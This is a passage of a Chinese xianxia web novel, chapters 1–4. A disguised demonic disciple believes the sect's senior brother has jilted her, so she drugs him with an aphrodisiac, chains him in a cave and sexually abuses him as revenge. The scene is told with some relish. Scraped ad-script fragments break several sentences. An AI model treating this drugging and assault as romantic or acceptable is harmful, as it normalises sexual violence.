《强取豪夺男主后发现认错人了》 1. 001 天刚蒙蒙亮,太玄宫里已是人来人往。 作为整个乾天宗弟子领、交任务的执事堂,这里日日都是如此热闹忙碌。 阿青打着哈欠跨入殿内,遇见几个内门师兄迎面走来,立刻恭敬地退到一边,等人都过去才直起身继续往里走。 她时不时回个头,望着那几位师兄的眼神充满羡慕。 羡慕他们天赋卓绝,有名师教导,就连弟子服和身份玉牌都不是他们这种外门弟子可比的。 不过能在执事堂打个杂,她已经比许多外门弟子幸运了。 像她这么幸运的还有一个。 “雪意?” 阿青提着裙摆跑进去,看见桌案后擦桌子的程雪意。 虽然修士们用法术就可以将屋舍清理干净,但那也是高阶法术。会高阶法术的修士哪有那么多时间待在殿内做这些杂物,所以最后还是得低阶弟子用原始的方法清理。 “一个早上的功夫,你都打扫完了?” 阿青吃惊地看看周围,随后有些不好意思:“抱歉,都怪我起晚了,没能帮上忙。” 程雪意收了布巾温声道:“你没起晚,是我昨夜睡不着,闲来无事,不如早些来干活。” 阿青闻言又是高兴又是担心。 高兴是自己不用干活了,可以偷懒,担心是觉得程雪意不对劲。 虽说雪意平日就是个好脾气,谁提出无理要求都能容忍,和气得仿佛泥人捏成的,还是她看不过去替她出过几次头,从此两人便算好友,总是一起值日。 但今日雪意这两三句话说完,听起来似乎和平日没什么差别,阿青却隐隐察觉她心情不太好。 她眉眼间的疲倦遮都遮不住。 “你昨夜没睡,还干了这么多活,现在肯定又累又乏,其他活计我替你做便好,你快回去歇一歇。” 想来想去,肯定是睡眠不足导致情绪不稳,赶紧让她回去补个眠是正事。 程雪意也没拒绝,朝阿青道谢后便走出了正殿的大门。 日头高照,今日风和日丽,是个绝好天气,她昨夜看月亮圆满,已经预料到会是如此。 阳光过于明媚,刺得她眼睛有些疼,或许也是因为看了一夜的月亮,眼睛不得放松才这样。 要回去睡一觉吗?她站在门边漫不经心地想着,忽听来往的内门弟子议论起了新鲜事。 “昨日你们可见了那付菁华?当真如传说中一样美貌吗?” 付菁华。 真是个熟悉的名字。 自她入门以来,总听人提起这个名字,所有提到的人无不向往她的美貌。 “人人都说她是天下第一美人,真想瞧一眼是否名不虚传。” “得了吧,就凭你,这辈子都没机会见到她的真容。估计还没靠近百米之内,已经被她哥哥那把同心剑给斩杀了。” “我又不是心怀妄想要亵渎无欲天宫的仙子,我只是纯洁无瑕地向往罢了,怎至于拔剑相向?付萧然再怎么孤傲冷漠,也不会不讲道理吧?” “谁知道呢?昨夜我倒远远见了他们兄妹一眼,那天下第一美人和她哥哥,与大师兄在净乐阁待了一夜,名义上是讲经论道,可付菁华不跟哥哥走一起,反而与大师兄出双入对,那亲近姿态,便是明日宗主宣布给他们定了婚事,我也毫不意外啊。” 说话的人都是乾天宗内门弟子,衣袍华贵法力高强,他们口中的大师兄只能是那个人。 乾天宗大师兄沈南音,天之骄子,神仪仙姿,是修界众人仰慕艳羡的对象。 他那样高山白雪一般的人与付菁华一起,才不会叫人觉得辱没了无欲天宫的仙子圣女。 沈南音。 他昨夜和付菁华兄妹在一起。 讲经论道,一整夜? 程雪意本想离开,这会儿突然不打算走了。 她横到说话的内门弟子面前,打量了一下对方的脸,叫出他的名字。 “守道师兄,这话你就说得不对了,怎么男子女子走一起,你就非要想到婚嫁之事?你不是也说了他们是在讲经论道,还有旁人在侧吗?你的妄加揣测,不管是对大师兄还是对无欲天宫的师姐来说,都十分冒犯。” 几个师兄弟凑在一起说几句闲话,本也只是玩笑,说过就算了,哪成想半露杀出个程雪意来。 李守道蹙眉盯着她,他倒是记得这个女弟子,是执事堂打杂的外门弟子,虽然根基差,年纪轻,但胜在人长得漂亮,性子和婉,平日里来往领取交接任务,他也会给个好脸,时常关照,万万没料到她今日会说出这样的话来。 冒犯大师兄和付菁华,这可不是个小罪名,这要是传出去,他非得被责罚不可。 李守道立刻冷了脸,厉声道:“胡说什么?我若不是听到风声会乱说吗?我既说了,自然是宗主确有那个意思,不然无欲天宫为何忽然派人来访,还是他们的圣子圣女?既是讲经论道,又为何不是一群人都来论道,只是他们三人?” “程师妹是外门弟子,不如我们内门消息通达全面,你可要慎言,莫给人乱扣帽子。”李守道明示她,“今日听到的事还有你自己说的话最好全都忘了,别惹麻烦。” 他手一握拳,灵力倾泻而出,威胁的意思明显极了。 程雪意沉默下来,李守道满意她的识趣儿,拉着几个师兄弟走了。 以手做扇遮着骄阳,程雪意又在原地站了片刻,才低头步下台阶,朝外门弟子的屋舍走。 太玄宫在半山腰,外门弟子的屋舍则在山脚下,她每日上值都要走上一个时辰。 路途遥远,越靠近外门,来往弟子越少,程雪意的心却无法因此静下来。 李守道是广文道君座下弟子,沈南音与广文道君都拜在宗主门下。 宗主今年乃渡劫期,两千余岁,轻易不出世,凡门中事务,皆交由这两位亲传弟子处理,其中又以大师兄沈南音掌权最盛。 看这层关系,李守道确实有机会听到上面有意让谁与谁结亲的消息。 这就难办了啊。 空守一夜,夜寒衣薄,程雪意手脚至今都还是冰凉的。 她有一个秘密,一个除了她和沈南音谁都不知道的秘密。 那位备受瞩目,重权在握,清风明月不染尘的乾天宗大师兄,正是她昨夜彻夜未眠的缘由。 无人知晓,她这样一个地位低贱的执事堂打杂弟子,连跟沈南音一同外出执行任务资格都没有的人,私底下常常与他月下相会,互吐心声。 沈南音确实不愧为乾天宗大师兄,也不愧为众人所倾慕嗟叹。他不但相貌好,修为高,行事亦有理有节,即便身份尊贵,位列道君,依然对上对下一视同仁,是一等一的君子。 他是清辉明月,是阳春白雪,是金贵的枝头鸟,却为她这样一片小小的河滩低头搁浅 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 程雪意很是受用,这一月来虽然总是夜里不得休息,也没有过任何怨言。 大师兄都不嫌累,她要是为了这样的约会觉得困倦,岂不是不解风情了一些。 可他昨夜失约了。 没有一句话,没有一点消息,就那么突兀地失约了。 她一个人在后山凄冷的林间月下等到天明,始终没有等到他来。 她又是担心又是心慌,却得来这样一个结果。 按照他们之前的进度,昨夜他若来了,两人就该更进一步,发生一些肢体接触。 之后他们修成正果结为道侣也是情理之中的事情了。 现在看来,什么都完了。 他根本没想和她修成正果。 她在他心目中也没有她想象中那么重要。 或许机缘巧合之下,他花了心思在还算有趣的她身上。可当真正的天之骄女出现,她立刻就被抛开了。 一月来的夜不能眠费心表现功亏一篑,她像是被人玩完就丢的器物,别说一词半字的解释,还能不能见到沈南音的人都成问题。 这样的男人她其实见过很多,也有心理准备,可当她意识到沈南音可能真的是这样的人,还是有些失望。 他那张脸确实骗到了她。 程雪意停住脚步,站在长满了杂草的破旧石阶上,这就是外门弟子住的地方,年久失修,环境恶劣,跟住在山峰上的内门弟子仿佛隔了天堑。 这天堑好像也隔在她和沈南音之间。 真可恶啊。 她忽然不想回去了,掉头就走,一路来到太玄宫,借了太玄宫的传送阵法和身份之便,登上了真武道场。 真武道场是真武道君沈南音的道场,这地方她此前从未来过。 她和沈南音过去只在他前往太玄宫办事时远远见过,她一个打杂弟子,还没有资格去给大师兄收发任务。 一月前的夜晚,她能在夜里的外门见到大师兄,至今看来都像是一场梦。 真武道场处处洁净气派,但并不奢靡,来往弟子几乎没有,因为沈南音并未收徒,在自己的道场也不用人伺候。 程雪意收好腰间的太玄宫玉牌,没这个东西她还真上不来这里。 来了之后,又觉得自己不如不来,因为她还真的看见了李守道话里提到的——沈南音与付菁华出双入对。 真武道场上除了他们俩,一个人都没有。 付菁华织锦羽衣,瑶簪宝髻,只要见过她的人,都不会对她的身份做其他猜想,她绝对配得上第一美人的称号。 而她身边的男人,程雪意就更熟悉了。 乌发雪衣,玉冠纱带,沈南音身姿挺拔,肩宽窄腰,双腿修长。他不管做什么都不紧不慢,温文尔雅到极致。那一身薄雾山水的写意气质,就连身边的付菁华都有些被抢走了光辉。 这人与她一月来夜夜相伴,缜密优雅的姿态一如往昔。 他第一时间发现了有人闯入,目光投过来的一瞬间,程雪意结冰的心湖发出解冻的脆响。 他白日里给她的感觉和夜晚完全不一样。 沈南音垂眸一扫她腰间弟子玉牌,保持着恰当的礼貌,用一种稳定干净,蕴存一定疑虑的语气问道:“执事堂弟子?为何擅闯真武道场?” 像是两个极端,曾经熟稔的情人此刻看她的眼神,仿佛看着个未曾谋面的陌生人。 2. 002 沈南音的声音真好听。 落在人心里,便如毛笔在人心尖上写下文字,令人心头发痒,周身带起一阵淡淡墨香。 往日夜里,他总用这样好听的声音温声关怀她。 可到了白天,他就好像换了一个人,用这样好听的声音问她是谁。 好问题。 她是谁? 这个问题彻底熄了程雪意调头就走的心思。 她往前走了几步,风吹起她腰间的银铃铛,她一身朴素,唯一的装饰便是这银铃。 铃声清脆悦耳,吸引了沈南音的注意,他目光刚一下移,还没看清那铃铛,就听擅闯真武道场的人终于开口。 “大师兄不认识我?” 她求证一般又往前走了几步:“大师兄好好看看,真的不知道我是谁吗?” 程雪意盯紧了沈南音的脸,心里慢慢计时。 她的眼神太过直白,一点指责一点冷意,让沈南音不得不仔细地看清她,认真思考自己是不是真的记忆错乱,忘记了这位师妹。 程雪意是那种典型的大眼美人。 她眼睛非常大,神采奕奕,极有元气。 长发一半绾着平髻,一半垂下来和淡蓝发带编在一起,拧成两条长长的发辫,在发尾用贝壳扣子扣着。 哪怕穿着打杂弟子灰扑扑的衣裳,她整个人依然明净昳丽,掩不住得灿烂动人,任谁看了她,都会觉得心里热乎乎的。 若见过这样的姑娘,他没道理会忘记。 沈南音忽然转头:“我尚有事处理,圣女先回去吧。” 付菁华微微点头,瞟了程雪意一眼,低声说道:“我夜里再来找师兄。” 夜里再来找他? 什么意思? 是她理解的那个意思吗? 程雪意望向沈南音,他就这么平平静静地在她注视下答应道:“我等你。” 付菁华温婉一笑,即便程雪意衣裳一看就是外门弟子,不值一提,在路过她身边时,她还是礼貌地颔首致意。 圣女的礼节和姿态挑不出任何问题,于是程雪意决定挑剔沈南音。 “你夜里要和她做什么?昨夜你为何没来,为何一句话都没有?你到底是什么意思?” 她一连发出数声质问,太理所应当的态度,让沈南音都有些欲言又止。 良久,他用一种相当平和,足以令所有听到他说话的人跟着平和下来的语气道:“我送师妹回太玄宫。” 程雪意皱眉,想说什么,双腿已经先有反应,不由自主地跟着身边人清冷的灵力移形换位,眨眼间就回到了传送法阵里面。 她怔了怔,这还是认识一月来,沈南音第一次在她面前动用这样不可抗拒的灵力。 之前他只在每夜分别化光离开时用些微薄的灵力,激不起一点火花。 程雪意浑身发麻,那种对高修灼热而强大的胜负欲几乎烧毁她的理智。 她努力压制本性,回过神来,人已经与他一起回到了太玄宫。 繁忙的晨起告一段落,太玄宫此刻人不太多。 但沈南音是什么人?但凡他出现的地方,总会激起许多关注,这也是认识以来,他们都不曾白日见面的原因。 他不喜欢被人围观,程雪意也可以理解。 弟子们紧张地围在一起朝沈南音见礼,阿青在右侧,一眼望见跟在沈南音身边的程雪意。 她瞪大眼睛,倒吸一口凉气,对他们居然走在一起感到吃惊。 沈南音见她神态,便知她与程雪意有关,温声问道:“可认识这位师妹?” 阿青做梦都没想到,自己居然有和大师兄说话的机会,手脚都不知如何摆放。 “大、大师兄在和我说话吗?”她左看右看,本不敢相信,可雪意在沈南音身边,大师兄问别人认不认识雪意,也只能是在问她了吧? 她慌乱上前,结结巴巴道:“认,认识呀。雪意,你不是回去补眠了?怎么……” 她话未说完,就气息混乱地说不下去。 程雪意一言未发,是沈南音和婉道:“认识便好。这里的宫务暂时交给旁人去做吧,先送这位师妹回去休息,她可能太累了。” 他已经非常含蓄且点到为止了,言语神色都看不出任何不对,任谁都能听出他的关怀。 但程雪意天生对人情绪敏感,一下子就抓住了他的点。 他一路虽然温和有礼,却有着不容拒绝的强硬。 他将她强行扭送回来,对她的问题虽然不曾反驳什么,却也只字不答。 现在还让阿青放下事务送她回去,说她可能太累了,这还能是什么意思? 他觉得程雪意脑子有问题。 换言之,他觉得她是疯了,才会出现在真武道场,问他那些问题。 程雪意怒极反笑,阿青跑过来挽住她的手臂,眼睛里满是好奇,但也不敢当着这么多人还有沈南音的面多问什么,只低声劝她回去休息。 她没有反抗,任由阿青拉着离开,眼睛始终定在沈南音身上。 她知道自己眼神恐怕不太友善,这对两人的身份来说算得上冒犯。 但沈南音并未不悦,也没有责怪。他看了她一会,直到她不得不因为身位而收回视线时,才慢慢点了一下头算作道别。随后身影消失,先一步离开。 程雪意直接笑出声来。 懂了。 装不认识是吧。 是觉得在众人面前,尤其是在付菁华面前,承认和她这样一个打杂弟子在一起很没面子,会妨碍了婚事吗? 他是不是打算就这么和她再不相见? 一定是她扮演打杂弟子扮演得太像了,才让沈南音胆敢对她始乱终弃。 “雪意,你怎会认识大师兄,还和他一起回来?” 一走出人群范围,阿青就忍不住问出口来。 这问题不止她好奇,方才在太玄宫的所有弟子恐怕都想知道缘由。 不过在得到回答之前,阿青先听见程雪意的笑声。 “雪意,你笑什么呢?”她心里毛毛的。 程雪意平静道:“没什么,今日是我太累了,回屋舍的时候险些跌下悬崖,幸好大师兄及时出手相助,才将我救了回来。” 一听这个,阿青瞬间顾不得别的,担心地抱住她说:“跌下山崖!你没事吧!可有哪里受了伤!” 雪意被她抱着转圈圈,仔仔细细检查了一遍。 她叹息一声,柔和道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“没有大碍,都说被救了。” 阿青生气道:“下次可不许再熬夜了!我就知道你今日不对劲肯定是因为没睡好!我又不是没手没脚,做不了那些打扫的活计,值当你半夜不睡,起来帮我干活?” “……”真是个美丽的误会。 她若是因为要帮阿青分担宫务才彻夜未眠,倒也不会这样不甘心了。 程雪意感觉阿青揉了揉她的头发,听她语重心长道:“听我的话,我虚长你几岁,算是你的姐姐,以后不要再这样了,知道了吗?” 雪意愣了半晌,呆呆地看了阿青许久,才轻轻点头:“知道的,再不会了。” “今日这样的事,再不会发生了。” 胆敢戏耍玩弄她这样的事情,她再不会允许它发生了。 被阿青推到床上,塞进被子里勒令好好休息,程雪意一直很乖,不住地应好。 等阿青回去上值,她也没“阴奉阳违”地立刻起来。 她听话地躺在床上,盯着帷幔上方方方正正的乾天宗标识,细算着她来到这里多久了。 不知不觉,居然已经五年了。 为了进入乾天宗,她封锁了大部分力量,如此才能保证不被宗门的大能发现可疑。 这样做的坏处也很明显,她只能勉强修行乾天宗的功法,用那点微薄的正道灵力,五年来过着普通外门弟子该有的生活。 劳累是有的,但并不怕这些艰辛,只是觉得长日漫漫,未来没什么盼头。不知这样下去,自己虎年马月才能接近乾天宗的核心人物,见识到门内至宝白泽图。 见都见不到,就更别提弄到手了。 拿不到白泽图,她就永远没办法离开这里,回不到来处,得不到想要的。 今日之前,她本以为终于看到希望,为此倾尽心血,克制本能,抹去自尊,第一次费力去讨好一个人,不成想—— 程雪意掀开被子从床榻上下来,行至窗前,推窗看着外面的天色。 夕阳西下,天就要黑了。 于她来说,黑暗反而更亲切一些。她前半生一直都生活在黑暗里,黑暗和寒冷呼啸的风是她熟悉的,而乾天宗美满的月亮和温暖的夜晚,是她五年来依然无法习惯的。 她第一次见这些时便想着,要阿娘和浮光都能和自己一样,感受一下明亮、温暖和自由。 哪怕这很艰难也要努力尝试。 她是他们全部的希望了。 沈南音毁掉了她近在咫尺的成功。 不可原谅。 她谨慎小心了五年,便换来如此辜负,看来忍辱负重也没什么用。 太害怕露出破绽,身上担子过重,乃至她五年就这样一点进展,可见有时也不能过于求稳。 适当地寻求突破,放肆一回,或许反而会得来转机。 说来说去,不过是不甘心,实在咽不下心里那口气,才找理由说服自己可以去做点什么。 红色弥漫程雪意的双眼,她眼瞳充斥着魔气。 既然被沈南音当成了疯子,那就该做点疯子该做的事情,好好回报一下他才对。 他要和旁人夜里相会? 想就这么与她一了百了? 她偏不叫他如愿。 3. 003 暮色四合,沈南音盘膝坐在真武道场,挽袖为付菁华倒了杯茶。 付菁华谢过他,看了看四周,低声询问:“师兄都安排好了?” 沈南音浅淡一笑,什么都没说,已经让付菁华完全放心。 另一人走进来,开口便道:“大师兄,我最讨厌的就是你总是一脸很有把握的样子。” 来人清灰道袍,神色恹恹,也不落座,抱着双臂往旁边一靠:“兴师动众了好几日,若还不能将镇妖塔里逃出去的大妖悉数抓回,修复塔中法阵,师尊也该知道你不是万能,要试着相信一下旁人。” 至于这个旁人是谁,他站在这里说这些话,意思已经很明显了。 付菁华弯了弯唇,朝来人礼貌点头:“广文道君。” “圣女不必这样客气,唤我不染便好。”玉不染对付菁华客气得很,对自己的师兄却一冷脸,不耐询问,“还要等多久?” 沈南音并不与他针锋相对,他说什么他都不放在心上,让玉不染每次都像一拳打在棉花上。 他来如风雨,他去似微尘,显得玉不染无端丑陋卑劣起来。 “很快。” 沈南音看着月色片刻,忽然身现幻影,几息之后,方才还端坐饮茶的人已经消失不见。 玉不染立刻站直:“看来还真是很快。” 他要追出去,被付菁华叫住:“广文道君,照师兄说的,守好你的阵眼便是。” 镇妖塔乃三千年前乾天宗先祖设下,关押无数大妖,阵法复杂高深,被破坏后想要修复,需要集合整个乾天宗的力量。 乾天宗乃修界首座,强悍到令妖界俯首为奴,将群魔关入噬心谷,天下太平全都仰仗他们。 需要动用这样的力量才能修复的法阵,甚至还需要无欲天宫的圣子圣女协助,可见镇妖塔危机非同一般。 而今夜阵法的阵眼中央,坐着的是乾天宗宗主静慈法宗,他便是沈南音和玉不染的师尊,当世唯一的渡劫大能,只有他能掌控这个位置。 玉不染和付菁华所在的地方,是另一除要紧的阵眼。 付菁华的哥哥付萧然与门内另外的长老们,则负责第三个阵眼。 只待沈南音将大妖全部抓回,送入镇妖塔内,他们便启动阵法,与他合力修复完成,事情就算了结。 这样的关头,玉不染自然不好随意离开阵眼位置,可要付菁华提醒,他脸色也不太好看。 他凝滞半晌,语气莫测道:“圣女唤我道号,却唤大师兄师兄,是否有些区别对待了?” 付菁华笑盈盈地看了他一眼,一点要回答的意思都没有。 玉不染最后自己找台阶下:“也罢,倒看看你的师兄能不能以一己之力,抓回在宗门内四处逃窜的那些大妖吧。” “要我说,直接都杀了便是,布个杀阵,连带镇妖塔里还留着的一起全都杀了,岂不比如今这样轻松许多?” 玉不染的自言自语,反倒得到了付菁华的回应。 她温声道:“镇妖塔里也不全是十恶不赦的妖孽,几千年过去了,若其中有心向正道,愿向善修行者,直接杀了岂不是在造杀孽?” 玉不染冷笑一声:“圣女不愧是无欲天宫弟子,心怀仁善。但我见多了妖魔,可不觉得会有妖心向正道。给他们修行的机会不过是为未来埋下隐患。当年先祖若能像如今处置魔族一样,令这些大妖也入苦寒之地,日日受苦,修为尽毁,他们便不会有逃出镇妖塔的机会。” “若非几千年过去,他们依然怀有不臣之心,今日哪里会有这样的乱子?” 玉不染咄咄逼人,付菁华不再言语。 话不投机半句多,玉不染也闭口不言了。 说一千道一万,计划既然已经实施,还是得稳步向前,全看今夜沈南音能抓回几只大妖了。 瓮中捉鳖,纵然对手是千年大妖,沈南音也不是全无把握,不过多耗费一点时间罢了。 更漏里的流沙流尽了又翻转,往复数次,天都亮了,沈南音也没有任何消息。 付菁华有些坐不住。 虽然想过要耗费一些时间,也不至于杳无音讯吧? 怎么如何传音都联系不上了呢? 漆黑潮湿的洞窟里,沈南音的传音符亮了又灭,无人能回应。 程雪意坐在一旁,看着它上面不断闪烁着付菁华的名字,嘴角意味不明地勾了勾。 她抬起头,望向黑暗里逐渐苏醒过来的人,懒洋洋地招呼道:“你醒啦?要再来一次吗?” 黑暗之中,沈南音双臂被铁链束缚,洞顶潮湿的滴水落下来,打在他的眉梢发间,带起一阵细微的疼痛。 伤口被水浸染后的疼痛。 他闭了闭眼,这点疼痛对他来说不值一提,但身体僵硬麻木,意识昏昏沉沉,这样的身体状况让素来自控能力极强的他无法接受。 他再次试着挣脱桎梏,却因灵力暂失而失败。 身上衣袍凌乱,身体和额头布满汗珠,沈南音气息前所未有的粗重,不得不望向坐在一旁看戏的姑娘。 他只是修为暂失,不是成了凡人,所以超越常人的视力仍在。 他可以在黑暗中将程雪意娇俏漂亮满脸无辜的样子看得清清楚楚。 “你还要如何。” 他开口说话,嗓音沙哑到了极致。 “还没玩够?” 程雪意闻言笑了一下,她拍拍手,带着一身的潮湿走过来,低头看着被铁链捆缚,被迫跪坐在那里的天之骄子,漫不经心道:“玩?” “你觉得我在玩弄你?那我倒要问问了。” 程雪意蹲下来,扣住他的下巴,质问他:“你现在认识我了吗?” 光风霁月的大师兄哪怕被关在囚牢之中,灵力暂失,体面全无,依然不显得狼狈。 他身上糅合了神性和慈悲,不管何种境况都温和又坚韧,很治愈。 这也是程雪意会真的被他骗到的原因。 人总会迷恋自己缺少的东西,哪怕心怀不轨,目的不纯,可她确实用了一点真心。 若不以真心换真心,如何能拿下这样的天骄? 她虽不指望和他真有什么好结果,却也没想过事过一半,无疾而终。 总之—— 看着沈南音那双迷茫的双眼,他望着她,仿佛望着一个做白日梦的疯子。 程雪意手上力道一失控,险些捏碎了他的下巴。 沈南音微微蹙眉,感觉掐着下巴的手松开,那个动听雀跃的女子声音再次响起。 “你是打算与我拧到底?这里又没旁人,真不懂你还在坚持什么,不过没关系。”程雪意徐徐道,“你越是这样硬骨头,我越是高兴。” “那就再来一次好了。” 程雪意靠过来,一把扯开了他的衣裳。 沈南音浑身一震,耳边响起她靠近时身上银铃脆响,顷刻间回到了昨夜那无边的噩梦之中。 饶是他也实在想不到,为何昨夜按计划执行一切,最后会变成这个样子。 感觉到宗门内出现异样气息的时候,他迅速反应,一路寻到后山林间,打算将其捉拿回镇妖塔。不曾想人到了这里,大妖没见到一只,只见到一个受了伤的姑娘。 还是白日里刚见过的姑娘。 月光点亮她皎洁明媚的脸庞,那双大眼睛总是水汪汪地望着别人,夜晚凄冷的寒意在她身上凝结了水汽,她跌倒在那,脚踝上都是血,沈南音追踪妖气的脚步戛然而止。 “大师兄。” 程雪意主动开口打破沉默,眼带泪意道:“有妖孽潜入宗门,朝前面逃去了,我想拦住他,但力量微薄,没能成功,还受了伤……” 沈南音定定看她许久,像在判断程雪意话里的真实性。 程雪意坦坦荡荡,问心无愧,实在是天助她也,在她打算拿自己做筏子引沈南音过来时,还真遇见了一只妖横行后山。 但那妖并不曾伤害她,甚至避开她走了。 有机会送上门来,她自然立刻抓住,将自己打伤等在这里,果然很快等到沈南音过来。 沈南音一步步走向她,在她身边停下脚步,弯下腰来为她脚踝上的伤止血。 他口中的话不待说出,一道奇异的香气划过鼻息,人已经倒在了程雪意身上。 失去意识之前,他只听到她将他一把推开时身上银铃的叮当声。 再睁开眼是深夜时分,他被关在黑暗的洞窟里面,灵力暂失,任人宰割。 若只是折磨□□,沈南音不惧分毫,有足够的信心和能力应对。 可程 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 雪意要做的根本不是这些。 昏迷前闻到的异香弥漫在她周身,那香气令他大汗淋漓,体内燥热无比。 “桃花醉。” 他艰难维持着理智,做出准确的判断。 “是桃花醉。”程雪意干脆地承认,“鬼市上极热门的桃花醉,只要一点点,再硬的骨头也会跪在你面前,成为一条摇尾乞怜的狗。” “你为何。”沈南音说几个字就要停一下,一边努力找回灵力,一边控制身体的本能反应,“你为何,会有桃花醉。” 一个乾天宗平平无奇的打杂弟子,怎么可能拿到桃花醉? 程雪意虽然打算报复,可没想就这么暴露身份,用桃花醉的时候就已经想到了理由。 “还要感谢大师兄。”程雪意笑盈盈道,“你知道的,我前不久跟外门弟子一起下山执行低级任务,不成想遇到了意外,作乱的根本不是什么小妖,而是鬼市高人。万幸宫明长老及时带人赶到,否则我早就死在那场意外里了。” “这一场大难不死,大师兄还为我高兴过呢,也跟着一起忘了吗?” “俗话说大难不死,必有后福,我在那场意外里得了一瓶桃花醉,想到它的厉害,贪心留下没有上交。我本打算用来自保,实在没想到会用在你身上。” 这是谎话,她搞来桃花醉就是为了对付他。 程雪意明灭的笑脸在黑暗里那样清晰,沈南音有些厌恶自己的好视力。 他干脆闭上眼睛,摆明了不管是桃花醉还是兰花醉,都别想让他就范。 程雪意说了那么多话,他也只有四个字回答。 他说:“我不知道。” 程雪意用“你知道的”开头,他便用“我不知道”结尾。 他依然是那个陌生人的态度。 程雪意慢慢走近。 她发辫上的贝壳扣子闪着幽光,美丽的大眼睛含情脉脉,眉目弯弯地贴近看他。 “到了这个关头还要装作不认识我?” 程雪意慢悠悠道:“你会知道这样做错得有多离谱的。” 话音落下一息,沈南音腰间玉带被强行扯开,玉扣碎裂,掉落在地,发出啪嗒的响声。 一直闭眼的大师兄猛地望向她的脸,一字一顿,话音虽紧绷僵硬,但仍保持理智。 “若你要的是这个。”沈南音沙哑道,“吃亏的是你。” 他是男人,既不修纯阳之体,也不修无情道法,真发生什么没什么不可接受的。 只是—— “我尚有门内要事处理,无论师妹为何咬定与我相识,还道出多种往事,都可等事后再与我详谈。若沈某真有对不住师妹之处,必负荆请罪,尽我所能偿还师妹。还请师妹松开铁链,让我先去将门内要事处理好。” 他字字恳切,该说得都说了,心里记挂着镇妖塔的事情,猜测或许程雪意这里的情况也与逃脱的大妖有关,她是无辜被蛊惑才如此极端。 若是如此,他确实有连带责任,要不是镇妖塔失守,她就不会被骗。 之前未免引起恐慌,此事不能为外人所知,一切皆在暗处进行。 如今事已至此,不得不道明真相,可当他要开口解释,程雪意已经不给他说话的机会。 “这张嘴以前多讨人喜欢,现在就有多讨人厌,你连我这普普通通的铁链都挣脱不了,还有什么力气去处理宗门里的要事?你还是不要说话了,只用来叫就可以了。” 他固执地否认有些奇怪,让程雪意不禁产生了怀疑。 但看着他那张脸,以及被迫承欢的姿态,她心弦一崩,有些难以修复。 欲念烧灼她的理智,淹没她的分寸。 程雪意仰着脸,一脸无邪无辜,却手段狠辣地封了他的口,笑着说道:“我又何曾说过,要在你身上吃亏?” “以为我要与你睡?那不是奖励你吗?我如此冒险,可是为了要报复你。” 程雪意伸手握住他,感受他身子瞬间紧绷,手中之物早已不受他理智控制地给出本能反应。 “我要狠狠惩罚你,叫你从今往后见到女人就害怕。” 女子笑着说出狠毒的话,腰间银铃被她手臂动作带得摇动撞击。 那铃声急促凌乱,响彻洞窟,虽时断时续,却整夜未停。 4. 004 程雪意腰间银铃造型朴素简单,是再寻常不过的装饰。 可它的响声清脆空灵,远比沈南音听过的所有铃声摄人心魄。 它撞响的频率,音色的长短,似乎都有某种规律,让他那颗连桃花醉也无法完全俘虏的心脏,逐渐迷失在这铃声之中。 乾天宗大师兄是孤高的云,是自由的风,没人见过他狼狈屈服悸动不安的模样。 现在程雪意看见了。 每到被铁链捆缚的人紧要关头的时候,她就会停下,等一切过去又继续。 如此往复循环,看着他在清醒与沉沦之间来回受折磨,确实称得上是狠狠惩罚。 她将沈南音羞辱欲死,痛不欲生。 他被她完全掌握,身上每一寸都经过她的洗礼,直到体无完肤,再无隐私。 她始终衣着整齐,面带微笑,大眼睛盯着他,一瞬不瞬,不肯放过他所有忍耐克制又倾泻爆发的瞬间。 那实在是美丽的画面。 程雪意有些上头,手上渐渐没有分寸,他那儿甚至因此受了伤。 沈南音汗如雨下,在黑暗的洞窟里努力对上她的眼睛,尽管已经如此,他还记得他的计划,他的使命,拼尽全力维持尚算平稳的话语。 “若你发泄够了怒气,便放我离开。” 沈南音一字一顿,极其费力道,“天亮就来不及了。” 程雪意大约猜到他这个时候还念念不忘的是什么。 她遇到了妖,还是在乾天宗里横行的妖孽,一看便不是被当做奴隶压榨使用的那群妖族。 不管他们怎么进入乾天宗的,结果不过两种。 要么被杀了,要么被关进镇妖塔。 想到自己来乾天宗蛰伏五年的目的,程雪意渐渐找回理智,洞窟外天际泛起亮光,有些事情点到为止,是该结束了。 玩得太过火,哪怕身份不被看穿,恐怕也不能再安稳留在乾天宗。 “那到了这个地步,你还要说不认识我吗?” 程雪意缓缓凑近,其实已经不怎么纠结这个问题。 是用了点真心,可着实不多,也已经发泄够了。 发泄完了,就会想到自己上头之前那一点疑虑。 她极近地观察他,抬手抚过他眉眼上的伤口,以她的眼力,看不出这张脸上任何伪装痕迹,这确实是原装脸没错。 她仔细检查过这张脸,但没太仔细看过夜夜相处那人的脸。 手下这张脸那么好看,受了伤好是可惜,不过也没关系,一点皮肉伤,他灵力回来一下子就能治好。 视线下移到他的眼睛,四目相对的一瞬间,程雪意意识到了不同。 眼睛。 这双眼睛很不寻常。 与夜里她见到的他,虽然瞳仁眼睫都看不出有什么不一样,可眼神不同。 日中则昃,月盈则食,天地盈虚。 他的眼神是那种即便身为阶下囚,即便被她那样戏弄羞辱,观赏把玩,依然能从容接受,不至于真的羞愤去死,沉溺其中的淡然。 他依然能寻到自己该来之处,该去之处。 这让她费心折磨得来的快感都削减了不少。 不能成为他的噩梦真是遗憾。 但是—— 程雪意直起身,捂住沈南音的眼睛。 腰间银铃轻响,她感觉到他因为这个响声身子微微一颤。 他这是在害怕吗? 她又高兴起来。 程雪意无声地笑了一下,双眼明亮地说:“大师兄记住了。” “我叫程雪意。” “可不许再忘记了。” …… “师兄!” 肩膀被人轻轻拍了一下,沈南音猛地回神,视线从模糊转为清晰,看到付菁华担忧的神色。 再看她身后,镇妖塔前无数弟子,长老和师弟师妹们都在。 沈南音低头看看自己的手,掌心布满伤痕,皆是收妖时留下的。 他终于拉回了飘远的思绪,转眸望向镇妖塔上的师尊。 白发白衣的静慈法宗是最终阵眼,两人对视之后,沈南音走入镇妖塔之中,与师尊合力将法阵全部修复完成。 这个过程很慢,比收妖更慢。 沈南音不太记得自己是如何离开山洞的,他听到程雪意的名字就昏了过去,再醒来,人躺在后山林间,衣衫整齐,一丝不苟,连发冠束发的手法都与自己往日一样。 他昏了过去,做不了这些,是谁做的不用想都知道。 